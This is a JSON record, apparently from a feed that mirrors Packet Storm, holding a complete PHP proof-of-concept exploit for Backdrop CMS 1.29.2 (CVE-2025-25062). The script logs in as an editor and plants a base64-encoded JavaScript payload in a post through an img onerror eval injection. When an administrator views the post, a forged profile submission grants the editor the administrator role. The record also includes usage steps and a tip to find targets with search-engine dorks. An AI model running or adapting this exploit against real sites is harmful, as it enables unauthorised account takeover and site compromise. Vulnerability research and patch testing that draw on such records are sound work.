{“lastseen”:”2026-01-21T15:43:47″,”description”:”Proof of concept exploit that demonstrates how Backdrop CMS version 1.29.2 suffers from cross site request forgery, persistent cross site scripting, and privilege escalation vulnerabilities…”,”published”:”2026-01-21T00:00:00″,”modified”:”2026-01-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Backdrop CMS 1.29.2 CSRF \/ XSS \/ Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:214118″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-25062″],”sourceData”:”=============================================================================================================================================\\n | # Title : Backdrop CMS 1.29.2 Privilege Escalation\\n |\\n | # Author : indoushka\\n |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 136.0.0 (64\\n bits) |\\n | # Vendor : https:\/\/backdropcms.org\/releases\/backdrop-1292\\n |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: Privilege Escalation via Stored XSS and CSRF in\\n Backdrop CMS .\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/189006\/ Related CVE\\n numbers: CVE-2025-25062 ) .\\n \\n [+] save code as poc.php.\\n \\n [+] Set Target : line 5.\\n \\n [+] Usage : php poc.php\\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n \/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0645\u0643\u062a\u0628\u0627\u062a \u0627\u0644\u0644\u0627\u0632\u0645\u0629 \u0644\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0637\u0644\u0628\u0627\u062a HTTP\\n $session = curl_init();\\n $backdrop_url = \\”http:\/\/localhost\\”; \/\/ \u062a\u0639\u062f\u064a\u0644 \u0627\u0644\u0631\u0627\u0628\u0637 \u062d\u0633\u0628 \u0627\u0644\u062d\u0627\u062c\u0629\\n $editor_username = \\”editor\\”; \/\/ \u0627\u0633\u0645 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\n $editor_password = \\”password\\”; \/\/ \u0643\u0644\u0645\u0629 \u0627\u0644\u0645\u0631\u0648\u0631\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u062a\u0648\u0644\u064a\u062f \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u062e\u0628\u064a\u062b\u0629\\n function construct_payload($post_html_body, $editor_user_id,\\n $editor_username, $editor_email) {\\n $url_encoded_editor_email = urlencode($editor_email);\\n \\n $malicious_js = \\”\\n var req = new XMLHttpRequest();\\n req.onload = handleResponse;\\n req.open(‘get’,\\n ‘\/?q=user\/{$editor_user_id}\/edit\\u0026destination=admin\/people\/list’, true);\\n req.withCredentials = true;\\n req.send();\\n \\n function handleResponse() {\\n var build_id = this.responseText.match(\/name=\\\\\\”form_build_id\\\\\\”\\n value=\\\\\\”(form-[^\\\\\\”]*)\\\\\\”\/)[1];\\n var token = this.responseText.match(\/name=\\\\\\”form_token\\\\\\”\\n value=\\\\\\”([^\\\\\\”]*)\\\\\\”\/)[1];\\n var changeReq = new XMLHttpRequest();\\n changeReq.open(‘post’, ‘\/?q=user\/{$editor_user_id}\/edit’, true);\\n changeReq.setRequestHeader(‘Content-Type’,\\n ‘application\/x-www-form-urlencoded’)\\n changeReq.withCredentials = true;\\n \\n changeReq.send(‘name={$editor_username}\\u0026mail={$url_encoded_editor_email}\\u0026pass=\\u0026form_build_id=’\\n + build_id + ‘\\u0026form_token=’ + token +\\n ‘\\u0026form_id=user_profile_form\\u0026status=1\\u0026roles%5Beditor%5D=editor\\u0026roles%5Badministrator%5D=administrator\\u0026timezone=America%2FNew_York\\u0026additional_settings__active_tab=\\u0026op=Save’);\\n }\\n \\”;\\n \\n $b64_encoded = base64_encode($malicious_js);\\n \\n $injection = \\”\\u003cimg src=x onerror=’eval(atob(\\\\\\”{$b64_encoded}\\\\\\”))’\\u003e\\”;\\n \\n return $post_html_body . $injection;\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u0625\u0646\u0634\u0627\u0621 \u0627\u0644\u0645\u0646\u0634\u0648\u0631\\n function create_post($backdrop_url, $editor_username, $post_title,\\n $html_body) {\\n global $session;\\n \\n $response = curl_get_request($backdrop_url . \\”\/?q=node\/add\/post\\”);\\n preg_match(‘\/name=\\”form_build_id\\” value=\\”([^\\”]*)\\”\/’, $response,\\n $matches);\\n if (isset($matches[1])) {\\n $form_build_id = $matches[1];\\n } else {\\n die(\\”Form build ID not found.\\”);\\n }\\n \\n preg_match(‘\/name=\\”form_token\\” value=\\”([^\\”]*)\\”\/’, $response, $matches);\\n if (isset($matches[1])) {\\n $form_token = $matches[1];\\n } else {\\n die(\\”Form token not found.\\”);\\n }\\n \\n $now = date(\\”Y-m-d H:i:s\\”);\\n \\n $data = [\\n ‘title’ =\\u003e $post_title,\\n ‘field_tags[und]’ =\\u003e ”,\\n ‘body[und][0][value]’ =\\u003e $html_body,\\n ‘body[und][0][format]’ =\\u003e ‘filtered_html’,\\n ‘form_build_id’ =\\u003e $form_build_id,\\n ‘form_token’ =\\u003e $form_token,\\n ‘form_id’ =\\u003e ‘post_node_form’,\\n ‘status’ =\\u003e ‘1’,\\n ‘scheduled[date]’ =\\u003e date(‘Y-m-d’),\\n ‘scheduled[time]’ =\\u003e date(‘H:i:s’),\\n ‘promote’ =\\u003e ‘1’,\\n ‘name’ =\\u003e $editor_username,\\n ‘date[date]’ =\\u003e date(‘Y-m-d’),\\n ‘date[time]’ =\\u003e date(‘H:i:s’),\\n ‘op’ =\\u003e ‘Save’\\n ];\\n \\n $response = curl_post_request($backdrop_url . \\”\/?q=node\/add\/post\\”,\\n $data);\\n \\n preg_match(‘\/\\u003ca href=\\”(\\\\\/\\\\?q=node\\\\\/\\\\d+\\\\\/edit)\\”\\u003eEdit\\u003c\\\\\/a\\u003e\/’, $response,\\n $matches);\\n if (isset($matches[1])) {\\n $edit_url = $backdrop_url . $matches[1];\\n } else {\\n die(\\”Edit URL not found.\\”);\\n }\\n \\n return $edit_url;\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u062c\u0644\u0628 \u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u062d\u0633\u0627\u0628\\n function get_account_details($backdrop_url) {\\n global $session;\\n \\n $response = curl_get_request($backdrop_url . \\”\/?q=accounts\/editor\\”);\\n preg_match(‘\/\\u003ca href=\\”\\\\\/\\\\?q=user\\\\\/(\\\\d+)\\\\\/edit\\”\\u003eEdit\\u003c\\\\\/a\\u003e\/’, $response,\\n $matches);\\n if (isset($matches[1])) {\\n $editor_user_id = $matches[1];\\n } else {\\n die(\\”Editor user ID not found.\\”);\\n }\\n \\n $response = curl_get_request($backdrop_url .\\n \\”\/?q=\/user\/{$editor_user_id}\/edit\\”);\\n preg_match(‘\/name=\\”mail\\” value=\\”([^\\”]*)\\”\/’, $response, $matches);\\n if (isset($matches[1])) {\\n $editor_email = $matches[1];\\n } else {\\n die(\\”Editor email not found.\\”);\\n }\\n \\n return [$editor_user_id, $editor_email];\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\\n function login($backdrop_url, $editor_username, $editor_password) {\\n global $session;\\n \\n $response = curl_get_request($backdrop_url . \\”\/?q=user\/login\\”);\\n preg_match(‘\/name=\\”form_build_id\\” value=\\”([^\\”]*)\\”\/’, $response,\\n $matches);\\n if (isset($matches[1])) {\\n $form_build_id = $matches[1];\\n } else {\\n die(\\”Form build ID not found during login.\\”);\\n }\\n \\n $data = [\\n ‘name’ =\\u003e $editor_username,\\n ‘pass’ =\\u003e $editor_password,\\n ‘form_build_id’ =\\u003e $form_build_id,\\n ‘form_id’ =\\u003e ‘user_login’,\\n ‘op’ =\\u003e ‘Log in’\\n ];\\n \\n $response = curl_post_request($backdrop_url . \\”\/?q=user\/login\\”, $data);\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u0639\u0645\u0644 \u0627\u0644\u0637\u0644\u0628 GET\\n function curl_get_request($url) {\\n global $session;\\n curl_setopt($session, CURLOPT_URL, $url);\\n curl_setopt($session, CURLOPT_RETURNTRANSFER, true);\\n return curl_exec($session);\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u0639\u0645\u0644 \u0627\u0644\u0637\u0644\u0628 POST\\n function curl_post_request($url, $data) {\\n global $session;\\n curl_setopt($session, CURLOPT_URL, $url);\\n curl_setopt($session, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($session, CURLOPT_POST, true);\\n curl_setopt($session, CURLOPT_POSTFIELDS, $data);\\n return curl_exec($session);\\n }\\n \\n \/\/ \u0627\u0644\u0634\u064a\u0641\u0631\u0629 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629\\n $editor_username = \\”editor\\”;\\n $editor_password = \\”password\\”;\\n $post_title = \\”Test Post\\”;\\n $backdrop_url = \\”http:\/\/localhost\\”;\\n \\n login($backdrop_url, $editor_username, $editor_password);\\n list($editor_user_id, $editor_email) = get_account_details($backdrop_url);\\n $html_body = construct_payload(\\”\\”, $editor_user_id, $editor_username,\\n $editor_email);\\n $edit_url = create_post($backdrop_url, $editor_username, $post_title,\\n $html_body);\\n \\n echo \\”Once an Admin visits the following URL, you’ll be granted the\\n ‘Administrator’ role: {$edit_url}\\\\n\\”;\\n \\n ?\\u003e\\n \\n \\n \\n \\n Greetings to\\n :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln\\n (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214118″,”cvss”:{“score”:4.4,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:R\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214118\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-21T15:43:47″,”description”:”Proof of concept exploit that demonstrates how Backdrop CMS version 1.29.2 suffers from cross site request forgery, persistent cross site scripting, and privilege escalation vulnerabilities…”,”published”:”2026-01-21T00:00:00″,”modified”:”2026-01-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,126,12,21,13,53,7,11,5],"class_list":["post-36698","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-44","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n